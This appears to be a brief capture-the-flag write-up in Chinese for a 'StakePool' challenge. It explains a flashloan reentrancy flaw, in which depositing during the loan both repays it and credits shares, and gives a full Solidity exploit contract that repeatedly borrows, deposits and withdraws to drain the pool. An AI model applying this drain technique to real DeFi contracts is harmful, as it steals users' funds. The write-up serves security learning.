StakePool
本题的Pool中flashloan存在重入,在flashloan过程中可以再次调用合约的deposit,这个deposit的行为就相当于还钱闪电贷了,但是却给我们记录了存款的假象。这样我们只需要支付闪贷的手续费,就可以获得大量余额。分多次削减Pool中余额完成题目,因为一次借贷太多钱会导致手续费过高,题目环境我们没有太多的钱。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; interface IStakePool { function deposit() external payable returns (uint256); function withdraw(uint256 shares) external returns (uint256); function flashloan(uint256 amount, bytes calldata data) external; function faucet() external; function solve() external; }
contract Exploit { uint shares;
function exploit() public { // write code here address target = 0x511978e46Fc117795431f7493fB5288592097C4A;
IStakePool(target).faucet();
uint amount = (address(this).balance * 10000) / 5; IStakePool(target).flashloan(amount, ""); IStakePool(target).withdraw(shares); for(uint i = 0; i < 2; i++){ IStakePool(target).flashloan(address(target).balance, ""); IStakePool(target).withdraw(shares); }
IStakePool(target).solve(); }
function onStakPoolFlashloan( uint amount, uint feeAmount, bytes memory data ) external payable { address target = 0x511978e46Fc117795431f7493fB5288592097C4A; shares = IStakePool(target).deposit{value: amount + feeAmount}(); }
fallback() external payable {} }
|